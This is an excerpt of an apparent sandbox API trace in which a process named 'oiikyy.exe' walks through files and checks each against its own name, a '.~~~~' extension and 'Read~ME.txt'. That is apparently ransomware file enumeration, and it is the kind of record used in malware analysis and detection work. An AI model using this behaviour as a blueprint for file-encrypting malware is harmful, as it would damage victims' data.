	[0083.662] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fdeb00, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95fdeb00, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x3b3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00965_.WMF", cAlternateFileName="")) returned 1
	[0083.662] lstrcmpiW (lpString1="FD00965_.WMF", lpString2="Windows") returned -1
	[0083.662] lstrcmpW (lpString1="FD00965_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.662] StrStrW (lpFirst="FD00965_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.662] lstrcmpW (lpString1="FD00965_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.662] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.662] GetCurrentThreadId () returned 0x618
	[0083.662] RtlWakeConditionVariable () returned 0x365f48
	[0083.662] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9963a600, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9963a600, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x121a, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01074_.WMF", cAlternateFileName="")) returned 1
	[0083.662] lstrcmpiW (lpString1="FD01074_.WMF", lpString2="Windows") returned -1
	[0083.663] lstrcmpW (lpString1="FD01074_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.663] StrStrW (lpFirst="FD01074_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.663] lstrcmpW (lpString1="FD01074_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.663] GetCurrentThreadId () returned 0x618
	[0083.663] RtlWakeConditionVariable () returned 0x365f48
	[0083.663] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf455c700, ftCreationTime.dwHighDateTime=0x1bd4be8, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf455c700, ftLastWriteTime.dwHighDateTime=0x1bd4be8, nFileSizeHigh=0x0, nFileSizeLow=0x96c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01084_.WMF", cAlternateFileName="")) returned 1
	[0083.663] lstrcmpiW (lpString1="FD01084_.WMF", lpString2="Windows") returned -1
	[0083.663] lstrcmpW (lpString1="FD01084_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.663] StrStrW (lpFirst="FD01084_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.663] lstrcmpW (lpString1="FD01084_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.663] GetCurrentThreadId () returned 0x618
	[0083.663] RtlWakeConditionVariable () returned 0x365f48
	[0083.663] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ff1000, ftCreationTime.dwHighDateTime=0x1bd4bfe, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78ff1000, ftLastWriteTime.dwHighDateTime=0x1bd4bfe, nFileSizeHigh=0x0, nFileSizeLow=0x1378, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01176_.WMF", cAlternateFileName="")) returned 1
	[0083.663] lstrcmpiW (lpString1="FD01176_.WMF", lpString2="Windows") returned -1
	[0083.663] lstrcmpW (lpString1="FD01176_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.663] StrStrW (lpFirst="FD01176_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.663] lstrcmpW (lpString1="FD01176_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.663] GetCurrentThreadId () returned 0x618
	[0083.663] RtlWakeConditionVariable () returned 0x365f48
	[0083.663] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d752900, ftCreationTime.dwHighDateTime=0x1bd4bf0, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d752900, ftLastWriteTime.dwHighDateTime=0x1bd4bf0, nFileSizeHigh=0x0, nFileSizeLow=0xf7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01191_.WMF", cAlternateFileName="")) returned 1
	[0083.663] lstrcmpiW (lpString1="FD01191_.WMF", lpString2="Windows") returned -1
	[0083.663] lstrcmpW (lpString1="FD01191_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.664] StrStrW (lpFirst="FD01191_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.664] lstrcmpW (lpString1="FD01191_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.664] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.664] GetCurrentThreadId () returned 0x618
	[0083.664] RtlWakeConditionVariable () returned 0x365f48
	[0083.664] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97014c00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97014c00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x488, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01193_.WMF", cAlternateFileName="")) returned 1
	[0083.664] lstrcmpiW (lpString1="FD01193_.WMF", lpString2="Windows") returned -1
	[0083.664] lstrcmpW (lpString1="FD01193_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.664] StrStrW (lpFirst="FD01193_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.664] lstrcmpW (lpString1="FD01193_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.664] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.664] GetCurrentThreadId () returned 0x618
	[0083.664] RtlWakeConditionVariable () returned 0x365f48
	[0083.664] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49e1a200, ftCreationTime.dwHighDateTime=0x1bd4bf0, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x49e1a200, ftLastWriteTime.dwHighDateTime=0x1bd4bf0, nFileSizeHigh=0x0, nFileSizeLow=0x91c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01196_.WMF", cAlternateFileName="")) returned 1
	[0083.664] lstrcmpiW (lpString1="FD01196_.WMF", lpString2="Windows") returned -1
	[0083.664] lstrcmpW (lpString1="FD01196_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.664] StrStrW (lpFirst="FD01196_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.664] lstrcmpW (lpString1="FD01196_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.664] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.664] GetCurrentThreadId () returned 0x618
	[0083.664] RtlWakeConditionVariable () returned 0x365f48
	[0083.664] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80cfde00, ftCreationTime.dwHighDateTime=0x1bf3242, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x80cfde00, ftLastWriteTime.dwHighDateTime=0x1bf3242, nFileSizeHigh=0x0, nFileSizeLow=0x284c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01548_.WMF", cAlternateFileName="")) returned 1
	[0083.664] lstrcmpiW (lpString1="FD01548_.WMF", lpString2="Windows") returned -1
	[0083.664] lstrcmpW (lpString1="FD01548_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.664] StrStrW (lpFirst="FD01548_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.664] lstrcmpW (lpString1="FD01548_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.664] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.664] GetCurrentThreadId () returned 0x618
	[0083.665] RtlWakeConditionVariable () returned 0x365f48
	[0083.665] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4fe7000, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4fe7000, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x76ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01657_.WMF", cAlternateFileName="")) returned 1
	[0083.665] lstrcmpiW (lpString1="FD01657_.WMF", lpString2="Windows") returned -1
	[0083.665] lstrcmpW (lpString1="FD01657_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.665] StrStrW (lpFirst="FD01657_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.665] lstrcmpW (lpString1="FD01657_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.665] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.665] GetCurrentThreadId () returned 0x618
	[0083.665] RtlWakeConditionVariable () returned 0x365f48
	[0083.665] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eb44f00, ftCreationTime.dwHighDateTime=0x1bd4c0c, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4eb44f00, ftLastWriteTime.dwHighDateTime=0x1bd4c0c, nFileSizeHigh=0x0, nFileSizeLow=0x4604, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01658_.WMF", cAlternateFileName="")) returned 1
	[0083.665] lstrcmpiW (lpString1="FD01658_.WMF", lpString2="Windows") returned -1
	[0083.665] lstrcmpW (lpString1="FD01658_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.665] StrStrW (lpFirst="FD01658_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.665] lstrcmpW (lpString1="FD01658_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.665] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.665] GetCurrentThreadId () returned 0x618
	[0083.665] RtlWakeConditionVariable () returned 0x365f48
	[0083.665] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02ca800, ftCreationTime.dwHighDateTime=0x1bd4bee, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf02ca800, ftLastWriteTime.dwHighDateTime=0x1bd4bee, nFileSizeHigh=0x0, nFileSizeLow=0x79cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01659_.WMF", cAlternateFileName="")) returned 1
	[0083.665] lstrcmpiW (lpString1="FD01659_.WMF", lpString2="Windows") returned -1
	[0083.665] lstrcmpW (lpString1="FD01659_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.665] StrStrW (lpFirst="FD01659_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.665] lstrcmpW (lpString1="FD01659_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.665] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.665] GetCurrentThreadId () returned 0x618
	[0083.665] RtlWakeConditionVariable () returned 0x365f48
	[0083.666] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd62f9d00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd62f9d00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x329e, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01660_.WMF", cAlternateFileName="")) returned 1
	[0083.666] lstrcmpiW (lpString1="FD01660_.WMF", lpString2="Windows") returned -1
	[0083.666] lstrcmpW (lpString1="FD01660_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.666] StrStrW (lpFirst="FD01660_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.666] lstrcmpW (lpString1="FD01660_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.666] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.666] GetCurrentThreadId () returned 0x618
	[0083.666] RtlWakeConditionVariable () returned 0x365f48
	[0083.666] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02068_.WMF", cAlternateFileName="")) returned 1
	[0083.666] lstrcmpiW (lpString1="FD02068_.WMF", lpString2="Windows") returned -1
	[0083.666] lstrcmpW (lpString1="FD02068_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.666] StrStrW (lpFirst="FD02068_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.666] lstrcmpW (lpString1="FD02068_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.666] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.666] GetCurrentThreadId () returned 0x618
	[0083.666] RtlWakeConditionVariable () returned 0x365f48
	[0083.666] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x88c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02071_.WMF", cAlternateFileName="")) returned 1
	[0083.666] lstrcmpiW (lpString1="FD02071_.WMF", lpString2="Windows") returned -1
	[0083.666] lstrcmpW (lpString1="FD02071_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.666] StrStrW (lpFirst="FD02071_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.666] lstrcmpW (lpString1="FD02071_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.666] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.666] GetCurrentThreadId () returned 0x618
	[0083.666] RtlWakeConditionVariable () returned 0x365f48
	[0083.666] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x112c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02075_.WMF", cAlternateFileName="")) returned 1
	[0083.666] lstrcmpiW (lpString1="FD02075_.WMF", lpString2="Windows") returned -1
	[0083.667] lstrcmpW (lpString1="FD02075_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.667] StrStrW (lpFirst="FD02075_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.667] lstrcmpW (lpString1="FD02075_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.667] GetCurrentThreadId () returned 0x618
	[0083.667] RtlWakeConditionVariable () returned 0x365f48
	[0083.667] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe70, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02088_.WMF", cAlternateFileName="")) returned 1
	[0083.667] lstrcmpiW (lpString1="FD02088_.WMF", lpString2="Windows") returned -1
	[0083.667] lstrcmpW (lpString1="FD02088_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.667] StrStrW (lpFirst="FD02088_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.667] lstrcmpW (lpString1="FD02088_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.667] GetCurrentThreadId () returned 0x618
	[0083.667] RtlWakeConditionVariable () returned 0x365f48
	[0083.667] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x61c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02097_.WMF", cAlternateFileName="")) returned 1
	[0083.667] lstrcmpiW (lpString1="FD02097_.WMF", lpString2="Windows") returned -1
	[0083.667] lstrcmpW (lpString1="FD02097_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.667] StrStrW (lpFirst="FD02097_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.667] lstrcmpW (lpString1="FD02097_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.667] GetCurrentThreadId () returned 0x618
	[0083.667] RtlWakeConditionVariable () returned 0x365f48
	[0083.667] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1234, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02115_.WMF", cAlternateFileName="")) returned 1
	[0083.667] lstrcmpiW (lpString1="FD02115_.WMF", lpString2="Windows") returned -1
	[0083.667] lstrcmpW (lpString1="FD02115_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.667] StrStrW (lpFirst="FD02115_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.668] lstrcmpW (lpString1="FD02115_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.668] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.668] GetCurrentThreadId () returned 0x618
	[0083.668] RtlWakeConditionVariable () returned 0x365f48
	[0083.668] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xf94, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02116_.WMF", cAlternateFileName="")) returned 1
	[0083.726] lstrcmpiW (lpString1="FD02116_.WMF", lpString2="Windows") returned -1
	[0083.726] lstrcmpW (lpString1="FD02116_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.726] StrStrW (lpFirst="FD02116_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.726] lstrcmpW (lpString1="FD02116_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.726] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.726] GetCurrentThreadId () returned 0x618
	[0083.726] RtlWakeConditionVariable () returned 0x365f48
	[0083.727] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02141_.WMF", cAlternateFileName="")) returned 1
	[0083.727] lstrcmpiW (lpString1="FD02141_.WMF", lpString2="Windows") returned -1
	[0083.727] lstrcmpW (lpString1="FD02141_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.727] StrStrW (lpFirst="FD02141_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.727] lstrcmpW (lpString1="FD02141_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.727] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.727] GetCurrentThreadId () returned 0x618
	[0083.727] RtlWakeConditionVariable () returned 0x365f48
	[0083.727] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1510, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02153_.WMF", cAlternateFileName="")) returned 1
	[0083.727] lstrcmpiW (lpString1="FD02153_.WMF", lpString2="Windows") returned -1
	[0083.727] lstrcmpW (lpString1="FD02153_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.727] StrStrW (lpFirst="FD02153_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.727] lstrcmpW (lpString1="FD02153_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.727] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.727] GetCurrentThreadId () returned 0x618
	[0083.727] RtlWakeConditionVariable () returned 0x365f48
	[0083.727] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x670, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02158_.WMF", cAlternateFileName="")) returned 1
	[0083.727] lstrcmpiW (lpString1="FD02158_.WMF", lpString2="Windows") returned -1
	[0083.727] lstrcmpW (lpString1="FD02158_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.727] StrStrW (lpFirst="FD02158_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.727] lstrcmpW (lpString1="FD02158_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.727] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.727] GetCurrentThreadId () returned 0x618
	[0083.727] RtlWakeConditionVariable () returned 0x365f48
	[0083.728] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc38, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02161_.WMF", cAlternateFileName="")) returned 1
	[0083.728] lstrcmpiW (lpString1="FD02161_.WMF", lpString2="Windows") returned -1
	[0083.728] lstrcmpW (lpString1="FD02161_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.728] StrStrW (lpFirst="FD02161_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.728] lstrcmpW (lpString1="FD02161_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.728] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.728] GetCurrentThreadId () returned 0x618
	[0083.728] RtlWakeConditionVariable () returned 0x365f48
	[0083.728] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x32b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="FINCL_01.MID", cAlternateFileName="")) returned 1
	[0083.728] lstrcmpiW (lpString1="FINCL_01.MID", lpString2="Windows") returned -1
	[0083.728] lstrcmpW (lpString1="FINCL_01.MID", lpString2="oiikyy.exe") returned -1
	[0083.728] StrStrW (lpFirst="FINCL_01.MID", lpSrch=".~~~~") returned 0x0
	[0083.728] lstrcmpW (lpString1="FINCL_01.MID", lpString2="Read~ME.txt") returned -1
	[0083.728] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.728] GetCurrentThreadId () returned 0x618
	[0083.728] RtlWakeConditionVariable () returned 0x365f48
